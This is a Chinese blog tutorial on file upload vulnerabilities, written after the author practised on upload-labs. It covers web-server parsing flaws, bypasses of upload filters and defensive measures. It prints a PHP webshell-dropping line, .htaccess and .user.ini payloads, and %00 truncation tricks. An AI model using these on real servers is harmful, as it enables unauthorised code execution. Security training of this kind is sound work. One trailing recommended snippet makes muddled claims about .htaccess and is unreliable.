.htaccess 文件不工作_文件上传漏洞详解

最新推荐文章于 2024-08-02 20:00:00 发布
最新推荐文章于 2024-08-02 20:00:00 发布
阅读量745 收藏 1
点赞数
文章标签： .htaccess 文件不工作
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_34413579/article/details/112089527
版权
本文详细探讨了文件上传漏洞，包括Apache、Nginx和IIS的解析漏洞，介绍了前端和服务器端的校验绕过方法，以及如何通过.htaccess文件影响文件解析。文章还提到了多种防御策略，如白名单过滤、MIME验证和防止空字节截断攻击。
摘要由CSDN通过智能技术生成

文件上传漏洞详解

ed35620edf8865f6824024a67219ae8a.png

前言

刷完了upload-labs
对文件上传漏洞有了些许认识
在此做个小结与记录

1、文件上传漏洞概述

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。
这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。
如果服务器的处理逻辑做的不够安全，则会导致严重的后果

747871c6db1660c8de81bab02d3521f5.png

2、一些基本概念

  web容器

web容器是一种服务程序，在服务器一个端口就有一个提供相应服务的程序，而这个程序就是处理从客户端发出的请求，如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)

中间件：提供系统软件和应用软件之间连接的软件，以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。

容器：给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互，不必关注其他系统问题。

服务器：www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url，向游览器提供服务的程序。

  IIS

IIS全称是互联网信息服务，包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服务。

.net Framework是基础类库，是程序运行的底层框架。

IIS是架设Web服务器用来提供网页游览服务的，属于系统环境。

一般用ASP.NET开发软件，然后靠IIS对公网提供服务。

  文件解析

当服务器接收到一个HTTP请求的时候，IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的)，根据的是文件的后缀名

服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序，如果IIS找不到可以处理此类文件的应用程序，那么IIS将直接把这个文件返还给客户端

一句话木马

Asp一句话：
Php 一句话：
Aspx一句话：
配合菜刀或蚁剑使用，若是图片配合Edjpgcom

3、web容器解析漏洞

文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件时出现了漏洞,以其他格式执行出脚本格式的效果

Apache解析漏洞

1、多后缀

  在Apache1.x，2.x中，Apache 解析文件的规则是从右到左开始判断解析，如果后缀名为不可识别文件解析，就再往左判断

  因此可以上传一个test.php.qwea文件绕过验证且服务器依然会将其解析为php

注：Apache能够认识的文件在mime.types文件里

应对：后缀验证尽量使用白名单的方式，这样即使使用不存在的后缀名，也无法绕过

2、配置问题导致漏洞

  如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php
这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

  如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg
即使扩展名是 jpg，一样能以 php 方式执行

应对：apache配置文件，禁止.php.这样的文件执行

        Order Allow,Deny        Deny from all

3、罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式
也就是说php3，php4，php5，pht，phtml这样的后缀也是可以被解析的

4、.htaccess文件
生效条件

  Apache的配置文件中写上AllowOverride All

  Apache要加载mod_Rewrite模块：LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

.htaccess文件可以配置很多事情
如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制

例1

AddType application/x-httpd-php xxx

就成功地使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件

例2

  SetHandler application/x-httpd-php

Apache把shell.jpg文件解析为php文件

Nginx解析漏洞

1、PHP CGI解析漏洞

2f2db62a6193f542b28e0efd9b2f366c.png

  Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME

  当访问xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi_script_name会被设置为phpinfo.jpg/1.php，然后构造成SCRIPT_FILENAME传递给PHP CGI

  如果开启fix_pathinfo这个选项，就会触发在PHP中的如下逻辑：

  PHP会认为SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就会将phpinfo.jpg作为PHP文件来解析

另一种

  若PHP配置文件中cgi.fix_pathinfo默认是开启

  上传test.jpg，内容如下

<?PHP  fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

2、空字节代码执行漏洞

  旧版本(0.5.，**0.6.，0.7，0.8<=0.7.65<=0.8.37)

  发出请求http://example.com/file.ext％00.php就会将file.ext作为PHP文件解析

Ngnix在遇到%00空字节时与后端FastCGI处理不一致
导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

应对：禁止在上传文件目录下执行php。
在nginx虚拟机配置或者fcgi.conf配置加如下代码

if ($request_filename ~* (.*)\.php) {    set $php_url $1;}if (!-e $php_url.php) {    return 403;}
IIS5.x-6.x解析漏洞

1、目录解析(6.0)
形式：www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp，.asa目录下的文件都解析成asp文件。

2、文件解析(6.0)
形式：www.xxx.com/xx.asp;.jpg
原理：服务器默认不解析;号后面的内容，因此xx.asp;.jpg便被解析成asp文件了

4、绕过上传校验

前端限制

当用户在客户端选择文件点击上传的时候，客户端还没有向服务器发送任何消息，就对本地文件进行检测来判断是否是可以上传的类型，这种方式称为前台脚本检测扩展名

绕过方法：

  绕过前台脚本检测扩展名，就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名，通过BurpSuite工具，截取数据包，并将数据包中文件扩展名更改回原来的，达到绕过的目的
例如:文件名本来为evil.jpg，上传时，用BurpSuite截包后，将数据包中的名字改为evil.php(或其它脚本类型)即可

  如果是JS脚本检测，在本地浏览器客户端禁用JS即可
  可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现

服务器端检测

1、黑名单过滤
黑名单过滤是一种不安全的方式

  黑名单定义了一系列不安全的扩展名

  服务器端在接收文件后，与黑名单扩展名对比

  如果发现文件扩展名与黑名单里的扩展名匹配，则认为文件不合法

绕过方法：

  特殊后缀：php3，php4，php5，pht，phtml

  .htaccess文件：见上面解析漏洞

  .user.ini文件：auto_prepend_file=test.jpg，让所有php文件都“自动”包含test.jpg文件

  后缀大小写：PHP、Php、pHp

  双写后缀

  1.php. .(点+空格+点)绕过

  见下面系统相关

2、白名单过滤
白名单定义允许上传的扩展名，拥有比黑名单更好的防御机制
如：$WhiteList=array(rar',jpg',png,bmpy,gif,jpg;doc);
在获取到文件扩展名后对 WhiteList数组里的扩展名迭代判断，如果文件扩展名被命中，程序将认为文件是合法的，否则不允许上传

绕过方法：

  主要是%00截断上传攻击，见下面

3、MIME验证
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据
HTTP协议规定了上传资源的时候在Header中使用Content-Type 字段表示文件的MIME 类型
当具有该扩展名的文件被访问时，浏览器会自动使用指定的应用程序来打开

绕过方法：
使用各种各样的工具(如burpsuite)强行篡改Header就可以
将Content-Type: application/php改为其他web程序允许的类型

  Content-Type: image/jpg

  Content-Type: image/png

  Content-Type: text/plain

4、目录验证
在文件上传时，程序通常允许用户将文件放到指定的目录中
然而有些Web开发人员为了让代码更“健壮”，通常会做一个操作
如果指定的目录存在，就将文件写入目录中，不存在则先建立目录，然后写入

5、%00截断上传攻击

  • 在许多语言函数中，处理字符串的函数中0x00被认为是终止符

  • 文件名后缀有一个%00字节，可以截断某些函数对文件名的判断

  • 忽略后面上传的文件或图片，只上传截断前的文件或图片

  • 条件：php 版本<5.3.4，php的magic_quotes_gpc为OFF状态

例

filename=test.php%00.txt

txt是合法上传，被截断，最终呈现的是test.php

使用场景：

  上传时路径可控，使用00截断

  文件下载时，00截断绕过白名单检查

  文件包含时，00截断后面限制(主要是本地包含时)

  其它与文件操作有关的地方都可能使用00截断

6、文件幻数检测
主要是检测文件内容开始处的文件幻数，比如图片类型的文件幻数如下

3072e2b802fe2f2866e0ef4890e26365.png

rwwwwwwww
关注
Java代码审计之文件上传漏洞详解
悦分享
01-23 373
文件长传漏洞是指攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马、病毒、恶意脚本或这Webshell等。文件上传漏洞条件上传的文件能被Web服务器当做脚本来执行我们能够访问到上传文件的路径服务器上传文件命名规则第一种：上传文件名和服务器命名一致第二种：上传文件名和服务器命名不一致（随机、时间日期命名等），但是后缀一致第三种：上传文件名和服务器命名不一致（随机、时间日期命名等），后缀也不一致漏洞成因。
《网络安全自学教程》- 文件上传漏洞详解
wangyuxiang946的博客
05-28 9925
结合实战靶场解析文件上传漏洞过滤及绕过方式，讲解文件上传原理和防御方式，
.htaccess上传漏洞（解析漏洞）
m0_51607644的博客
08-17 4013
写在前边 漏洞学习三步走： 1.了解漏洞原理 2.知道漏洞形成条件，复现漏洞 3.解决如何防范 .htaccess上传漏洞 .htaccess文件作用 概述来说，htaccess文件是Apache服务器中的一个配置文件，它负责相关目 录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自 定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、 禁止目录列表、配置默认文档等功能。 Unix、Linux系统或者是任何版本的Apach
Node.js中模块加载机制
Tiger's blog
09-27 217
Node.js中模块查找规则： 【注】以下查找规则均来自于在VS Code中的实践，对于文件以及相应文件的截图太多，比较麻烦，就以文字形式呈现出来。 1.当模块拥有路径但没有后缀时 require('./home.js') require('./home') （1）当路径完整时，直接引入模块文件，读取。 （2）当路径不完整时，首先查找同名文件，如果查找到同名文件，则会查找当前文件夹下的package.json文件中的main选项中的入口文件，但入口文件要求在当前文件夹下； 如果找不到入口文件，则会查找当
文件上传漏洞（全网最详细）
最新发布
ZL_1618的博客
08-02 407
自从学完文件上传后，寻思总结一下，但一直懒惰向后推迟，最近要准备面试了，就趁此机会写一下。文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。这种攻击方式是最为直接和有效的，所以我们需要思考的是如何绕过检测和过滤。
Linux下离线安装Docker最新版本
热门推荐
从入门到放弃
09-29 2万+
一、基础环境 1、操作系统：CentOS 7.3 2、Docker版本：18.06.1 官方下载地址（打不开可能需要科学上网） 3、百度云Docker 18.06.1地址：https://pan.baidu.com/s/1YdN9z72QutPkHBfLq06H1A 密码：dvvh 二、Docker安装 ...
NodeJS中的模块加载机制
xuqiaobo的博客
09-06 1260
1) 模块的类型 odeJS模块分为两类，一类是核心模块，一类是文件模块。 1，核心模块就是NodeJS标准中提供的模块，如fs、http、net、vm等，官方提供的模块，编译成了二进制代码，直接可以通过require获取核心模块，核心模块具有最高的加载优先级，如果有模块和其命名冲突，nodeJS总会加载核心模块 2，文件模块则是存储为单独的文件或者文件夹的模块，可能是JS代码、JSON或编...
模块的加载机制
thq_kuqi的博客
03-01 339
模块的加载机制
htAdmin - .htaccess administration-开源
07-28
8. **安装与部署**：htAdmin 的安装通常只需将解压后的文件上传到服务器的适当位置，然后通过浏览器访问其配置页面，遵循向导完成设置。 在使用 htAdmin 时，需要注意以下几点： 1. **安全考虑**：尽管 htAdmin ...
51.网络安全渗透测试—[文件上传篇1]—[文件上传过程详解/造成漏洞原因/文件上传绕过姿势]
qwsn
08-07 2667
我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！ 文章目录 一、文件上传过程详解 1、文件上传过程：`5步` 2、客户端上传表单：`upload.html` 3、服务器接收资源的脚本程序：`upload.php` 4、文件上传错误代码：`5类值` 5、网站文件常见的扩展名：`asp/php/........` 二、文件上传绕过姿势 造成漏洞的原因和绕过姿势
3.18号日报，ctfhub中web，文件上传漏洞题目解法
03-18
### 文件上传漏洞详解 文件上传漏洞是Web应用安全领域中的一种常见漏洞，它允许攻击者上传恶意文件到服务器，进而执行恶意代码或获取敏感信息。本文将基于标题“3.18号日报，ctfhub中web，文件上传漏洞题目解法”...
nodejs之模块加载机制
缚己
02-04 327
有路径没有后缀 当使用 require() 方法引入一个模块没有指定没有指定后缀名时，就像下面这样： require('./test.js') require('./test') 模块加载机制规则： require 方法根据模块路径查找模块，如果是完整路径，没有省略后缀名，直接引入该模块 当后缀名被省略时，先按照路径查找同名 js 文件，再找路径下的同名文件夹 如果找到了同名文件夹，引入文件夹中的 index.js 文件 文件夹中没有 index.js ，在当前文件夹中的 package.json 中
node --- > 模块加载机制
栗子好好吃的博客
01-25 1608
1. Node.js中模块加载机制 1.1 模块查找规则-当模块拥有路径但没有后缀时 require('./find.js'); require('./find'); require方法根据模块路径查找模块,如果是完整路径,直接进入模块 如果模块后缀省略,先找同名JS文件再找同名JS文件夹 require('./find'); // 以上会先找到命令行目录下的find.js文件.若找到则返回...
js的模块加载机制
XLJavaHome的专栏
11-16 278
加载模块是同步的 var fs=require('fs'); require('./')是表示当前js文件所在目录，和启动node命令的路径无关 模块分为3块 内置模块、原生模块、核心模块 已经在编译时成为了二进制模块非常快 文件模块一个js文件就是文件模块后缀可以是json或node（c/c++写的） 速度慢一些 第三方模块从npm上下载的 情况一如果加载文件路径, 如果是文件 可以不写后缀 .js 如果是目录，先找package...
.htaccess文件上传漏洞复现
06-03
请注意，.htaccess文件本身并不会造成上传漏洞，它是一种用于配置Apache服务器的文件。我猜测您的问题是如何利用配置错误或者漏洞上传.htaccess文件来实现服务器攻击的。 一些常见的.htaccess文件上传漏洞如下： 1. 目录遍历漏洞： 如果一个服务器上的网站没有正确限制文件上传的目录，攻击者可以上传包含攻击代码的.htaccess文件到网站的某个目录，然后通过访问该目录下的文件来执行攻击代码。 2. 文件名绕过漏洞： 有些服务器在处理上传的文件名时可能会忽略.htaccess后缀，因此攻击者可以上传包含攻击代码的.htaccess文件并将其命名为其他文件类型的后缀名，例如.php、.jpg、.gif等，然后通过访问该文件来执行攻击代码。 3. MIME类型绕过漏洞： 攻击者可以上传一个包含攻击代码的.htaccess文件，并在其中设置MIME类型为可执行文件，这样当服务器处理该文件时就会将其作为可执行文件来执行其中的代码。 请注意，这些漏洞都是由于服务器配置错误或者漏洞造成的，因此最好的解决方法是及时更新服务器软件并开启安全防护措施，例如限制上传文件的类型、大小、目录等。同时，还应该定期检查服务器配置和日志来发现潜在的安全问题。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值